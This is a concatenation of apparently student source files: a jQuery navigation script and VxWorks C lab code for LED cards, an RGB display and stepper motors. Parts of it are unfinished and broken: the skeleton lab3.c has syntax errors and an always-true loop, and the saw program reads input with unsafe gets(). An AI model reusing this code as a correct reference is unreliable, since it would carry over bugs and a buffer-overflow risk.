About Menu's "why" option Active if ($(this).attr('id') === "sec01" && currentPosition >= $('#subAbout_why').offset().top - $(window).height()*.075 && currentPosition <= $('#subAbout_why').offset().top + $('#subAbout_why').outerHeight()) { // console.log("in why"); $('#navigationMenu').find('.navOption').removeClass('Dactive'); $('#navigationMenu').find('.navOption').removeClass('Lactive'); $('#navigationMenu').find('.navOption').removeClass('DnotActive'); $('#navigationMenu').find('.navOption').removeClass('LnotActive'); $('#mainHeader').removeClass('LmainHeader'); $('#headerHeroLogo1').removeClass('LheaderHeroLogo1'); $('#headerHeroLogo2').removeClass('LheaderHeroLogo2'); $('#mainHeader').addClass('DmainHeader'); $('#navigationMenu').find('.navOption').addClass('DnotActive'); $('#navigationMenu').find('#nav_' + $(this).attr('id')).addClass('Dactive'); $('#headerHeroLogo1').addClass('DheaderHeroLogo1'); $('#headerHeroLogo2').addClass('DheaderHeroLogo2'); //remove active from how and what $('#how').removeClass('aboutSubActive'); $('#what').removeClass('aboutSubActive'); //add active to why $('#why').addClass('aboutSubActive'); } // Make Sub About Menu's "how" option Active if ($(this).attr('id') === "sec01" && currentPosition >= $('#subAbout_how').offset().top - $(window).height()*.075 && currentPosition <= $('#subAbout_how').offset().top + $('#subAbout_how').outerHeight()) { // console.log("in how"); $('#navigationMenu').find('.navOption').removeClass('Dactive'); $('#navigationMenu').find('.navOption').removeClass('Lactive'); $('#navigationMenu').find('.navOption').removeClass('DnotActive'); $('#navigationMenu').find('.navOption').removeClass('LnotActive'); $('#mainHeader').removeClass('LmainHeader'); $('#headerHeroLogo1').removeClass('LheaderHeroLogo1'); $('#headerHeroLogo2').removeClass('LheaderHeroLogo2'); $('#mainHeader').addClass('DmainHeader'); $('#navigationMenu').find('.navOption').addClass('DnotActive'); $('#navigationMenu').find('#nav_' + $(this).attr('id')).addClass('Dactive'); $('#headerHeroLogo1').addClass('DheaderHeroLogo1'); $('#headerHeroLogo2').addClass('DheaderHeroLogo2'); //remove active from why and what $('#why').removeClass('aboutSubActive'); $('#what').removeClass('aboutSubActive'); //add active to how $('#how').addClass('aboutSubActive'); } // Make Sub About Menu's "what" option Active if ($(this).attr('id') === "sec01" && currentPosition >= $('#subAbout_what').offset().top - $(window).height()*.075 && currentPosition <= $('#subAbout_what').offset().top + $('#subAbout_what').outerHeight()) { // console.log("in what"); $('#navigationMenu').find('.navOption').removeClass('Dactive'); $('#navigationMenu').find('.navOption').removeClass('Lactive'); $('#navigationMenu').find('.navOption').removeClass('DnotActive'); $('#navigationMenu').find('.navOption').removeClass('LnotActive'); $('#mainHeader').removeClass('LmainHeader'); $('#headerHeroLogo1').removeClass('LheaderHeroLogo1'); $('#headerHeroLogo2').removeClass('LheaderHeroLogo2'); $('#mainHeader').addClass('DmainHeader'); $('#navigationMenu').find('.navOption').addClass('DnotActive'); $('#navigationMenu').find('#nav_' + $(this).attr('id')).addClass('Dactive'); $('#headerHeroLogo1').addClass('DheaderHeroLogo1'); $('#headerHeroLogo2').addClass('DheaderHeroLogo2'); //remove active from why and how $('#why').removeClass('aboutSubActive'); $('#how').removeClass('aboutSubActive'); //add active to what $('#what').addClass('aboutSubActive'); } if (currentPosition >= top - $(window).height()*.075 && currentPosition <= bottom && $(this).attr('id') === "sec02") { $('#navigationMenu').find('.navOption').removeClass('Dactive'); $('#navigationMenu').find('.navOption').removeClass('Lactive'); $('#navigationMenu').find('.navOption').removeClass('DnotActive'); $('#navigationMenu').find('.navOption').removeClass('LnotActive'); $('#mainHeader').removeClass('DmainHeader'); $('#headerHeroLogo1').removeClass('DheaderHeroLogo1'); $('#headerHeroLogo2').removeClass('DheaderHeroLogo2'); $('#mainHeader').addClass('LmainHeader'); $('#navigationMenu').find('.navOption').addClass('LnotActive'); $('#navigationMenu').find('#nav_' + $(this).attr('id')).addClass('Lactive'); $('#headerHeroLogo1').addClass('LheaderHeroLogo1'); $('#headerHeroLogo2').addClass('LheaderHeroLogo2'); // remove active from about sub-menu Options $('#why').removeClass('aboutSubActive'); $('#how').removeClass('aboutSubActive'); $('#what').removeClass('aboutSubActive'); } if (currentPosition >= top - $(window).height()*.075 && currentPosition <= bottom && $(this).attr('id') === "sec03") { $('#navigationMenu').find('.navOption').removeClass('Dactive'); $('#navigationMenu').find('.navOption').removeClass('Lactive'); $('#navigationMenu').find('.navOption').removeClass('DnotActive'); $('#navigationMenu').find('.navOption').removeClass('LnotActive'); $('#mainHeader').removeClass('LmainHeader'); $('#headerHeroLogo1').removeClass('LheaderHeroLogo1'); $('#headerHeroLogo2').removeClass('LheaderHeroLogo2'); $('#mainHeader').addClass('DmainHeader'); $('#navigationMenu').find('.navOption').addClass('DnotActive'); $('#navigationMenu').find('#nav_' + $(this).attr('id')).addClass('Dactive'); $('#headerHeroLogo1').addClass('DheaderHeroLogo1'); $('#headerHeroLogo2').addClass('DheaderHeroLogo2'); } }); // Sticky About Menu Div var aboutTop = $('#sec01').offset().top; var aboutBottom = aboutTop + $('#sec01').outerHeight(); var aboutStickPoint = aboutBottom - $(window).height() if (currentPosition >= aboutTop && currentPosition <= aboutStickPoint) { $('#about').removeClass('aboutNotFixedTop'); $('#about').removeClass('aboutNotFixedBottom'); $('#about').addClass('aboutFixed'); } if (currentPosition < aboutTop) { $('#about').removeClass('aboutFixed'); $('#about').removeClass('aboutNotFixedBottom'); $('#about').addClass('aboutNotFixedTop'); } if (currentPosition > aboutStickPoint) { $('#about').removeClass('aboutFixed'); $('#about').removeClass('aboutNotFixedTop'); $('#about').addClass('aboutNotFixedBottom'); } // Remove Down Arrows on Hero After Scrolling Down if (currentPosition >= $(window).height() * .33) { $(downPointerIcon).fadeOut(); } // Sticky Header if (currentPosition > $('#hero').outerHeight() + $('#cinemagraphContainer').outerHeight() - $(window).height()*.65) { $('#mainHeader').fadeIn(250, function() { // Add CSS transitions after fadeIn $('#mainHeader').css("transition", "all .5s"); $('#headerHeroLogo1').css("transition", "all .5s"); $('#headerHeroLogo2').css("transition", "all .5s"); $('#navigationMenu').css("transition", "all .5s"); }); }; if (currentPosition < $('#hero').outerHeight() + $('#cinemagraphContainer').outerHeight() - $(window).height()*.65) { $('#mainHeader').fadeOut(250, function() { // Remove CSS transitions after fadeOut $('#mainHeader').removeProp("transition"); $('#headerHeroLogo1').removeProp("transition"); $('#headerHeroLogo2').removeProp("transition"); $('#navigationMenu').removeProp("transition"); }); }; }); }); <file_sep>/public/javascripts/controllers/404error.js app.controller("404errorController", function($scope){ console.log("404errorController"); }); <file_sep>/public/javascripts/controllers/codingChallenges.js app.controller("codingChallengesController", function($scope){ console.log("codingChallenges Controller Firing"); });
0b58f3280d4e913a92ed6ebdd4a8c32d0b5921b5
[ "Markdown", "JavaScript" ]
5
Markdown
NicolasAndruzzi/NightOwlNico
24485b091801e26ca86ab08e9f47815c8cc0c6c3
5343176bb98f165be7a84ccb1f2a98574951ac3c
refs/heads/master
<repo_name>MaidenBeast/rtp_labs<file_sep>/lab3/skeleton/lab3.c #include "common.h" #include "lamp.h" #include "fan.h" #include "motor1.h" #include "motor2.h" void lab3() { int input = 13; //D (entering into calibrarion mode) running_mode = CONFIG; fan_mode = OFF; lamp_mode = CONFIG; lamp_PID = taskSpawn("lamp", 200, 0, 1000, lamp); fan_PID = taskSpawn("fan", 200, 0, 1000, fan); while (1) { switch (running_mode) { case CONFIG: do { //reads from keyboard matrix until the user digit something on the keyboard input = readKeyboard(); } while (input != -1); switch (input) { // 3. The following 3 operator commands can be given: case 0: //End configuration mode and go to run-mode. running_mode = RUN; fan_mode = FIFTY_PERCENT; //because the machine are not running at the beginning lamp_mode = NOT_WORKING; motor1PID = taskSpawn("motor1", 100, 0, 1000, motor1); motor2PID = taskSpawn("motor2", 101, 0, 1000, motor2); semMotor1 = semBCreate(SEM_Q_PRIORITY, SEM_FULL); semMotor2 = semBCreate(SEM_Q_PRIORITY, SEM_FULL); m1MsgQId = msgQCreate(MAX_MSGS, sizeof(char), MSG_Q_FIFO); m2MsgQId = msgQCreate(MAX_MSGS, sizeof(char), MSG_Q_FIFO); break; case 1: //TODO: Let motor 1 advance one half-step. Turning off power immediately after. break; case 2: //TODO: Let motor 2 advance one half-step. Turning off power immediately after. break; } break; case ERROR: //TODO: The motors should stop rotating immediately //The job queues for the engines are emptied; msgQDelete(m1MsgQId); msgQDelete(m2MsgQId); //The warning lamp signals error mode by turning on for 1s and then off for 1s, repeatedly lamp_mode = ERROR; // The system waits to be reset do { //reads from keyboard matrix until the user digits something on the keyboard input = readKeyboard(); } while (input != 13); //D: Restart, the system enters calibration mode taskDelete(motor1PID); taskDelete(motor2PID); running_mode = CONFIG; fan_mode = OFF; lamp_mode = CONFIG; break; default: //RUN do { //reads from keyboard matrix until the user digit something on the keyboard input = readKeyboard(); } while (input != -1 || !(input>=1 && input<=6) || input!=10 || input!=11 || input!=15)); switch (input) { case 0: //TODO: Stop the motors at the next safe position //TODO: Release the power to the engines lamp_mode = OFF //turn of the lamp fan_mode = OFF; //turn off the fan stop(); //shutdown all processes case 15: //F: Emergency stop. //TODO: Immediately stop all the stepping of the engines fan_mode = OFF; //turns off the fan lamp_mode = OFF; //turns off the lamp running_mode = ERROR; //and enter error mode default: if ((input>= 1 && input<= 3) || input == 10) { msgQSend(m1MsgQId, (char)input, 1, WAIT_FOREVER, MSG_PRI_NORMAL); //send the input to motor1 message queue } if ((input>= 4 && input<= 6) || input == 11) { msgQSend(m2MsgQId, (char)input, 1, WAIT_FOREVER, MSG_PRI_NORMAL); //send the input to motor2 message queue } break; } break; } } } void stop() { msgQDelete(m1MsgQId); msgQDelete(m2MsgQId); semDelete(semMotor1); semDelete(semMotor2); taskDelete(motor1PID); taskDelete(motor2PID); taskDelete(lamp_PID); taskDelete(fan_PID); }<file_sep>/lab3/lab-3/motor1.c #include "common.h" #include "fan.h" #include "lamp.h" #include "motor1.h" #include "motor2.h" void motor1() { motor1_waiting = 0; motor1_direction = CLOCKWISE; motor1_speed = LOW_SPEED; char msg[2]; while(1) { msgQReceive(m1MsgQId, msg, 2, WAIT_FOREVER); if (strcmp(msg, "1")==0) { //"Rotate tool 1 one full rotation." rotateMotor1(FULL_ROTATION_STEPS); } else if (strcmp(msg, "2")==0) { //"Rotate tool 1 one half rotation." rotateMotor1(HALF_ROTATION_STEPS); } else if (strcmp(msg, "3")==0) { //"Change direction of rotations for tool 1." motor1_direction = (motor1_direction==CLOCKWISE) ? COUNTERCLOCKWISE : CLOCKWISE; } else if (strcmp(msg, "a")==0) { //"Change the speed of rotations for tool 1." motor1_speed = (motor1_speed==LOW_SPEED) ? HIGH_SPEED : LOW_SPEED; } taskDelay(10); } } void rotateMotor1(int n_rotations) { //one tick interval correspond to the time interval dedicated for one step //HIGH_SPEED: 60 steps per second --> 1000/60 ms //LOW_SPEED: 10 steps per second --> 1000/10 ms int tickMs = 1000/sysClkRateGet(); int ticks_interval = (motor1_speed==HIGH_SPEED) ? sysClkRateGet()/60 : sysClkRateGet()/10; //int ticks_interval = (motor1_speed==HIGH_SPEED) ? sysClkRateGet()/(60*tickMs) : sysClkRateGet()/(10*tickMs); //TO TEST //Set the direction flag depending from the motor1_direction value // M1_DIR high --> COUNTERCLOCKWISE // M1_DIR low --> CLOCKWISE char dir = (motor1_direction==COUNTERCLOCKWISE) ? M1_DIR : 0x00; motor1_waiting = 1; semTake(semMotors, WAIT_FOREVER); //"Under no circumstance are the machines allowed to run at the same time" changeLampMode(MACHINE_WORKING); //"When the machines are working, the lamp should blink with 3 on/off flashes every second." changeFanMode(FAN_ONE_HUNDRED_PERCENT); //"When the machines are operating, the fan should be working at 100%" counter_motor1_steps = n_rotations; //decremental conting. In this way, for stopping the motors at the next safe position, //it is enough to decrement (elsewhere) the counter while (counter_motor1_steps > 0) { semTake(semCounterMotor1, WAIT_FOREVER); //take the semaphore, in this way nothing else can access to the counter //negative edge, for stepping the motor 1. sysOutByte(0x181,M1_STEP|M1_HFM|dir); taskDelay(5); //5 ms of delay sysOutByte(0x181,dir); taskDelay(ticks_interval-5); //delay for respecting the stepping speed (less of the previous 5 ms delay) counter_motor1_steps--; //decrement the counter semGive(semCounterMotor1); } /*for (counter_motor1_steps=0; counter_motor1_steps<n_rotations; counter_motor1_steps++) { sysOutByte(0x181,M1_STEP|M1_HFM|dir); taskDelay(5); sysOutByte(0x181,dir); taskDelay(ticks_interval-5); }*/ sysOutByte(0x181, 0x00); if (motor2_waiting) { //"...This margin should not be applied when starting a second job on the same motor" taskDelay(1000); //"there must always be a safety margin of 1s from one machine stopping before the next can start ..." } changeLampMode(MACHINE_NOT_WORKING); //"When the machines are not, the lamp should smoothly go from zero intensity to full intensity, and then smoothly back to zero" changeFanMode(FAN_FIFTY_PERCENT); //"...otherwise the fan should be working at 50%" motor1_waiting = 0; semGive(semMotors); } <file_sep>/lab2/lab-2/exercise5.c #include <stdio.h> #include <math.h> #include "delayLib.h" #include "vxWorks.h" #include "common.h" #define RGB_LEVELS 8 int led_screen_pid; int get_input_pid; int pixels[16][8][3]; //3D matrix containing the RGB values of the "emulated" LED screen //unsigned int rgb_leds[8][3]; /*void get_input() { printf("get_input\n"); unsigned int led_no; unsigned int r; unsigned int g; unsigned int b; while (1) { scanf("%d %d %d %d", &led_no, &r, &g, &b); rgb_leds[led_no][0] = r; //red rgb_leds[led_no][1] = g; //green rgb_leds[led_no][2] = b; //blue } }*/ void led_screenEx5() { int i; int j; int k; for(i = 0; i < 16; i++) { for (j = 0; j < 8; j++) { for (k = 0; k < 3; k++) { pixels[i][j][k] = 0; } } } /*for(i = 0; i < 16; i++) { pixels[i][0][0] = 255; //all reds on the first row pixels[i][3][1] = 255; //all green on the 4th row pixels[i][7][0] = 255; //all reds on the last row } for(i = 0; i < 8; i++) { pixels[0][i][0] = 255; //all reds on the first column pixels[7][i][2] = 255; //all blue on the 8th column pixels[15][i][0] = 255; //all reds on the last column }*/ for(i = 0; i < 8; i++) { //The Italian flag :) for (j = 0; j < 16; j++) { if (j < 5) { //green pixels[j][i][1] = 255; } else if (j < 10) { //white pixels[j][i][0] = 255; pixels[j][i][1] = 255; pixels[j][i][2] = 255; } else if (j < 15) { //red pixels[j][i][0] = 255; } } } /*for(i = 0; i < 8; i++) { //The Swedish flag :) for (j = 0; j < 16; j++) { if ((j>2 && j<6) || (i>2 && i<5)) { pixels[j][i][0] = 255; pixels[j][i][1] = 255; } else { pixels[j][i][2] = 255; } } }*/ sysOutByte(0x184, 0x01); //enable writing bytes to LED card sysOutByte(0x180, 0xFF); //turns off red LEDs sysOutByte(0x181, 0xFF); //turns off green LEDs sysOutByte(0x182, 0xFF); //turns off blue LEDs sysOutByte(0x183, 0x01); //enable reading trigger while (1) { //int i; //int j; if (checkTrigger()) { //if a pulse if detected from the reflex detector delayMsec(1); for (i = 0; i< 16; i++) { //for each column unsigned int rgb_leds_temp[8][3]; //default behaviour: all the LEDs turned off char r_led = 0xFF; char g_led = 0xFF; char b_led = 0xFF; for (j = 0; j < 8; j++) { for (k = 0; k<3; k++) { rgb_leds_temp[j][k] = pixels[15-i][j][k] >> (int)log2(256/RGB_LEVELS); //quantize the RGB values to RGB_LEVELS } } for (j = 0; j < 8; j++) { //for each RGB level (0-31, 32-64,..., 224-255) for (k = 0; k < 8; k++) { //for each row //red if (rgb_leds_temp[j][0]>0) { //if the RED value is still "on" //shift the first ONE bit to the right to j positions, i.e. is selecting the j-th LED //then the j-th bit of r_led byte is turned on (i.e. is set to ZERO) r_led &= ~(0x80 >> j); rgb_leds_temp[j][0]--; //decrement the RED value } //green if (rgb_leds_temp[j][1]>0) { //if the GREEN value is still "on" //shift the first ONE bit to the right to j positions, i.e. is selecting the j-th LED //then the j-th bit of r_led byte is turned on (i.e. is set to ZERO) g_led &= ~(0x80 >> j); rgb_leds_temp[j][1]--; //decrement the GREEN value } //blue if (rgb_leds_temp[j][2]>0) { //if the BLUE value is still "on" //shift the first ONE bit to the right to j positions, i.e. is selecting the j-th LED //then the j-th bit of r_led byte is turned on (i.e. is set to ZERO) b_led &= ~(0x80 >> j); rgb_leds_temp[j][2]--; //decrement the BLUE value } } sysOutByte(0x180, r_led); sysOutByte(0x181, g_led); sysOutByte(0x182, b_led); delayUsec(128/RGB_LEVELS); //delay for 128us/number of levels } } sysOutByte(0x180, 0xFF); sysOutByte(0x181, 0xFF); sysOutByte(0x182, 0xFF); } } } void startEx5() { sysClkRateSet(1000); led_screen_pid = taskSpawn("led_screen", 200, 0, 1000, led_screenEx5); //get_input_pid = taskSpawn("get_input", 200, 0, 1000, get_input); /*printf("get_input\n"); unsigned int led_no; unsigned int r; unsigned int g; unsigned int b; while (1) { scanf("%d %d %d %d", &led_no, &r, &g, &b); rgb_leds[led_no][0] = r; //red rgb_leds[led_no][1] = g; //green rgb_leds[led_no][2] = b; //blue }*/ } void stopEx5() { taskDelete(led_screen_pid); //taskDelete(get_input_pid); int i; int j; int k; for(i = 0; i < 16; i++) { for (j = 0; j < 8; j++) { for (k = 0; k < 3; k++) { pixels[i][j][k] = 0; } } } sysOutByte(0x180, 0xFF); sysOutByte(0x181, 0xFF); sysOutByte(0x182, 0xFF); } <file_sep>/lab3/lab-3/motor1.h #ifndef __motor1h #define __motor1h void motor1(); void rotateMotor1(int n_rotations); motor_direction_t motor1_direction; motor_speed_t motor1_speed; int counter_motor1_steps; //48 full-steps per rotation int motor1_waiting; //boolean value #endif <file_sep>/lab3/skeleton/motor1.c #include "common.h" void motor1() { }<file_sep>/lab1/lab-1f/diodcard.c #include <stdio.h> #include "delayLib.h" #include "vxWorks.h" int diodcardPid; int slowTaskPid; void shine(unsigned int lightIntensity) { /* lightIntensity: percentage (from 0 to 99) */ unsigned int shinePeriod; /* * if the percent is greater than 100% --> set the shine period to 100% * (for avoid strange interval overflows) */ shinePeriod = (lightIntensity < 100) ? 20000/100*lightIntensity : 20000; sysOutByte(0x180, 0xff); /* turn on all LEDs of the first port */ sysOutByte(0x181, 0xff); /* turn on all LEDs of the second port */ delayUsec(shinePeriod); /* delay for the shinePeriod */ sysOutByte(0x180, 0x00); /* turn off all LEDs of the first port */ sysOutByte(0x181, 0x00); /* turn off all LEDs of the second port */ delayUsec(20000 - shinePeriod); /* delay for the remaining time until the 20000th ms */ } int chkTurnedOnSwitches(char switches) { int ones = 0; do { if (switches & (unsigned int)0x80) /* if the first bit equals 1 */ ones++; /* left bitwise. So the last bit becomes 0, and the second bit becomes the first one */ switches <<= 1; } while (switches > (unsigned int)0); /* until all the bit become zero. */ return ones; } void diodcard() { sysOutByte(0x184, 0x01); //activate outputs unsigned int counter = 0; unsigned int intensity = 0; sysOutByte(0x182, 0xff); //enable reading switches status while (1) { //shine(50); //50% of shine intensity <-- point 5 (without counter) //point 5 (with counter) /*shine(intensity); counter++; intensity = (counter)%100;*/ //point 6 (regulated by switches) char switches = sysInByte(0x182); //read the switches status int turnedOnSwitches = chkTurnedOnSwitches(switches); //how many switches are turned on intensity = turnedOnSwitches*100/8; shine(intensity); } } int slowThread() { //added from sample lab code int i,j,cycles; printf("slowThread!\n"); sysClkRateSet(100); cycles=0; while(1) { for(i=0,j=0;i<150000;i++) { j += i; } if((++cycles) % 100 == 0) printf("Tick\n"); taskDelay(1); } } void start(int ticks) { kernelTimeSlice(ticks); diodcardPid = taskSpawn("diodcard", 200, 0, 1000, diodcard); //priority of 200 slowTaskPid = taskSpawn("slowTask", 200, 0, 1000, slowThread); //priority of 200 } void stop() { taskDelete(diodcardPid); taskDelete(slowTaskPid); } <file_sep>/lab2/lab-2/common.c #include "vxWorks.h" //checks if a pulse if detected from the reflex detector //return 1 if true, else 0 int checkTrigger() { char byte_in = sysInByte(0x183); return ((byte_in & 0x01) == 0x00); //returns true if the most-right bit is equal 0 } <file_sep>/lab3/skeleton/machine-utils.h /* machine-utils.h */ /* Convenient definitions for manipulating the motors */ #define M1_STEP 0x08 #define M1_HFM 0x04 #define M1_DIR 0x02 #define M1_INHIB 0x01 #define M2_STEP 0x10 #define M2_HFM 0x20 #define M2_DIR 0x40 #define M2_INHIB 0x80 /* Reads the keyboard and returns -1 if no key pressed, or 0-15 if key 0-9 or A-F was pressed. */ extern int readKeyboard(); <file_sep>/lab2/lab2_sp2/lab2/lab2-1.c #include <stdio.h> #include <math.h> #include <vxWorks.h> #include "vxWorks.h" #include "tickLib.h" #include "sysLib.h" #include "delayLib.h" #include "semLib.h" #include "lab3.c" #define red 0x180 #define green 0x181 #define blue 0x182 int run = 1; int pixels[16][8][3] = {};/*={ {{255,255,255}, {226,226,226}, {180,180,180}, {144,144,144}, {108,108,108}, {72,72,72}, {36,36,36}, {255,0,255}}, {{255,255,255}, {226,226,226}, {180,180,180}, {144,144,144}, {108,108,108}, {72,72,72}, {36,36,36}, {255,0,255}}, {{255,255,255}, {226,226,226}, {180,180,180}, {144,144,144}, {108,108,108}, {72,72,72}, {36,36,36}, {255,0,255}}, {{255,255,255}, {226,226,226}, {180,180,180}, {144,144,144}, {108,108,108}, {72,72,72}, {36,36,36}, {255,0,255}}, {{255,255,255}, {226,226,226}, {180,180,180}, {144,144,144}, {108,108,108}, {72,72,72}, {36,36,36}, {255,0,255}}, {{255,255,255}, {226,226,226}, {180,180,180}, {144,144,144}, {108,108,108}, {72,72,72}, {36,36,36}, {255,0,255}}, {{0,0,0}, {72,72,72}, {36,36,36}, {0,0,0}, {0,0,0}, {0,0,0}, {0,0,0}, {0,0,0}}, {{255,255,255}, {226,226,226}, {180,180,180}, {144,144,144}, {108,108,108}, {72,72,72}, {36,36,36}, {255,0,255}}, {{255,255,255}, {226,226,226}, {180,180,180}, {144,144,144}, {108,108,108}, {72,72,72}, {36,36,36}, {255,0,255}}, {{255,255,255}, {226,226,226}, {180,180,180}, {144,144,144}, {108,108,108}, {72,72,72}, {36,36,36}, {255,0,255}}, {{255,255,255}, {226,226,226}, {180,180,180}, {144,144,144}, {108,108,108}, {72,72,72}, {36,36,36}, {255,0,255}}, {{255,255,255}, {226,226,226}, {180,180,180}, {144,144,144}, {108,108,108}, {72,72,72}, {36,36,36}, {255,0,255}}, {{255,255,255}, {226,226,226}, {180,180,180}, {144,144,144}, {108,108,108}, {72,72,72}, {36,36,36}, {255,0,255}}, {{255,255,255}, {226,226,226}, {180,180,180}, {144,144,0}, {108,108,0}, {72,72,0}, {36,36,0}, {255,0,255}}, {{255,255,255}, {226,226,226}, {180,180,180}, {144,144,0}, {108,108,0}, {72,72,0}, {36,36,0}, {255,0,255}}, {{255,255,255}, {226,226,226}, {180,180,180}, {144,144,144}, {108,108,108}, {72,72,72}, {36,36,36}, {255,0,255}} };*/ int delay=80; void uppg1() { sysOutByte(0x184, 0x01); // RGBY sysOutByte(0x180, ~9); sysOutByte(0x181, ~10); sysOutByte(0x182, ~4); } void Uppgift2() { int redlamps, greenlamps, bluelamps; int rgbArray[8][3]={{255,0,255}, {226,1,226}, {180,50,180}, {144,144,144}, {0,0,0}, {72,72,72}, {36,36,36}, {0,0,0}}; redlamps = greenlamps = bluelamps = 0; sysOutByte(0x184, 0x01); while(run == 1) { redlamps = greenlamps = bluelamps = 0; int i; for(i = 0; i < 255; i++) { int j; for(j = 0; j < 8; j++) { if(rgbArray[j][0] > i) { //redlamps |= redlamps << 1; redlamps = redlamps | 1<<j; } if(rgbArray[j][1] > i) { greenlamps = greenlamps | 1<<j; } if(rgbArray[j][2] > i) { bluelamps = bluelamps | 1<<j; } } //delayUsec(1000000); } sysOutByte(red, ~redlamps); sysOutByte(green, ~greenlamps); sysOutByte(blue, ~bluelamps); //delayUsec(100000); } } void Uppgift2_2() { int redlamps, greenlamps, bluelamps; int rgbArray[8][4]={{0,255,255,255}, {1,192,192,192}, {2,128,128,128}, {3,64,64,64}, {4,0,0,0}, {5,0,255,0}, {6,0,128,128}, {7,0,0,255}}; redlamps = greenlamps = bluelamps = 0; sysOutByte(0x184, 0x01); while(run == 1) { redlamps = greenlamps = bluelamps = 0; int i; for(i = 0; i < 255; i++) { int j; for(j = 0; j < 8; j++) { if(rgbArray[j][1] > i) { //redlamps |= redlamps << 1; // redlamps = redlamps | 1<<j; } if(rgbArray[j][2] > i) { greenlamps = greenlamps | 1<<j; } if(rgbArray[j][3] > i) { bluelamps = bluelamps | 1<<j; } } sysOutByte(red, ~redlamps); sysOutByte(green, ~greenlamps); sysOutByte(blue, ~bluelamps); } } } void Uppgift3() { int redlamps, greenlamps, bluelamps; //int rgbArray[8][4]={{0,255,255,255}, {1,192,192,192}, {2,128,128,128}, {3,64,64,64}, {4,0,0,0}, {5,0,255,0}, {6,0,128,128}, {7,0,0,255}}; int sensor=1; redlamps = greenlamps = bluelamps = 0; sysOutByte(0x184, 0x01); sysOutByte(0x183,0x01); while(run == 1) { sensor = sysInByte(0x183); if(sensor==0) { delayUsec(1000); sysOutByte(red, ~255); sysOutByte(green, ~255); sysOutByte(blue, ~255); delayUsec(2000); } sysOutByte(red, ~0); sysOutByte(green, ~0); sysOutByte(blue, ~0); } } void Uppgift4() { int redlamps, greenlamps, bluelamps; int sensor=1; redlamps = greenlamps = bluelamps = 0; sysOutByte(0x184, 0x01); sysOutByte(0x183,0x01); while(run == 1) { sensor = sysInByte(0x183); if(sensor==0) { delayUsec(1000); int k; for(k = 0; k < 16; k++){ int i; redlamps = greenlamps = bluelamps = 0; for(i = 0; i < 255; i++) { int j; for(j = 0; j < 8; j++) { if(pixels[k][j][0] !=0) { //redlamps |= redlamps << 1; redlamps = redlamps | 1<<j; } if(pixels[k][j][1] !=0) { greenlamps = greenlamps | 1<<j; } if(pixels[k][j][2] !=0) { bluelamps = bluelamps | 1<<j; } } } sysOutByte(red, ~redlamps); sysOutByte(green, ~greenlamps); sysOutByte(blue, ~bluelamps); delayUsec(128); } } sysOutByte(red, ~0); sysOutByte(green, ~0); sysOutByte(blue, ~0); } } void Uppgift5() { int redlamps, greenlamps, bluelamps; int sensor=1; float reddelay=0,greendelay=0,bluedelay=0,tempsum=0; redlamps = greenlamps = bluelamps = 0; sysOutByte(0x184, 0x01); sysOutByte(0x183,0x01); while(run == 1) { sensor = sysInByte(0x183); if(sensor==0) { delayUsec(1000); int k; for(k = 0; k < 16; k++){ int i; redlamps = greenlamps = bluelamps = 0; for(i = 0; i < 255; i++) { int j; for(j = 0; j < 8; j++) { if(pixels[k][j][0] > i) { //redlamps |= redlamps << 1; redlamps = redlamps | 1<<j; } if(pixels[k][j][1] > i) { greenlamps = greenlamps | 1<<j; } if(pixels[k][j][2] > i) { bluelamps = bluelamps | 1<<j; } } } // delay on/off, share delay time between rgb based upon intensity sysOutByte(red, ~redlamps); sysOutByte(green, ~greenlamps); sysOutByte(blue, ~bluelamps); delayUsec(delay); } } sysOutByte(red, ~0); sysOutByte(green, ~0); sysOutByte(blue, ~0); } } void stop() { run = 0; } void start() { sysOutByte(0x180,~0); sysOutByte(0x181,~0); sysOutByte(0x182,~0); run=1; //taskSpawn("uppgift2", 101, 0, 4000, Uppgift2); //taskSpawn("uppgift2_2", 101, 0, 4000, Uppgift2_2); //taskSpawn("uppgift3", 101, 0, 4000, Uppgift3); //taskSpawn("uppgift4", 101, 0, 4000, Uppgift4); taskSpawn("uppgift5", 101, 0, 4000, Uppgift5); } <file_sep>/lab1/lab-1d/lab-1d.c /* Ovn2 - A simple program for an automatic plug-saw */ #include "vxWorks.h" #include <stdio.h> #include <stdlib.h> #include <math.h> /* It represents a point which saw must go through */ struct point { float x; float y; }; /* Call using successive points to be cut, print, total number of points and the route that has been sawn */ void cutContour(struct point *newPoint) { static float totalLength=0.0; static struct point lastPoint; static int nPoints=0; float deltaX,deltaY,length; if(nPoints == 0) { nPoints = 1; lastPoint = *newPoint; printf("Starting from point: (%3.1f, %3.1f)\n",newPoint->x,newPoint->y); return; } else { deltaX = newPoint->x - lastPoint.x; deltaY = newPoint->y - lastPoint.y; length=sqrt(deltaX*deltaX+deltaY*deltaY); totalLength += length; nPoints++; lastPoint = *newPoint; printf("Cutting to point: (%3.1f, %3.1f)\n",newPoint->x,newPoint->y); printf("Total points: %d\n",nPoints); printf("Total length: %3.1f\n",totalLength); return; } } /* Prompts for points that story and call cutContour with points. Cancel by providing new row instead of entering the next point. */ void doInput() { char str[256], *pntr, *pntr2; struct point inputPoint; for(;;) { printf("Ange X och Y koordinat: "); fflush(stdout); gets(str); if(str[0] == '\n') break; inputPoint.x = (float)strtod(str,&pntr); if(pntr == str) { printf("Kunde inte lasa nagot tal. \nForsok igen med exempelvis: 0.0 0.0\n"); continue; } inputPoint.y = (float)strtod(pntr,&pntr2); if(pntr == pntr2) { printf("Kunde bara lasa in det forsta talet. \nForsok igen med exempelvis: 0.0 0.0\n"); continue; } cutContour(&inputPoint); } } <file_sep>/lab1/lab-1b/diodkort.c #include <unistd.h> #include <sys/io.h> #include <stdio.h> #include <sys/time.h> #include <time.h> /* Port 0 (0x180) is the first set of leds, Port 1 second set of leds and Port 2 third set of leds as well as inputs from the switches. */ /* Attempts to sleep for a specified number of micro-seconds */ void busyWait(int useconds) { struct timeval tv1, tv2; gettimeofday(&tv1,NULL); do { gettimeofday(&tv2,NULL); } while((tv2.tv_sec-tv1.tv_sec)*1000000+(tv2.tv_usec-tv1.tv_usec) < useconds); } void shine(unsigned int lightIntensity) { /* lightIntensity: percentage (from 0 to 99) */ unsigned int shinePeriod; /* * if the percent is greater than 100% --> set the shine period to 100% * (for avoid strange interval overflows) */ shinePeriod = (lightIntensity < 100) ? 20000/100*lightIntensity : 20000; outb(0xFF, 0x180); /* turn on all LEDs of the first port */ outb(0XFF, 0x181); /* turn on all LEDs of the second port */ busyWait(shinePeriod); /* delay for the shinePeriod */ outb(0x00, 0x180); /* turn off all LEDs of the first port */ outb(0x00, 0x181); /* turn off all LEDs of the second port */ busyWait(20000 - shinePeriod); /* delay for the remaining time until the 20000th 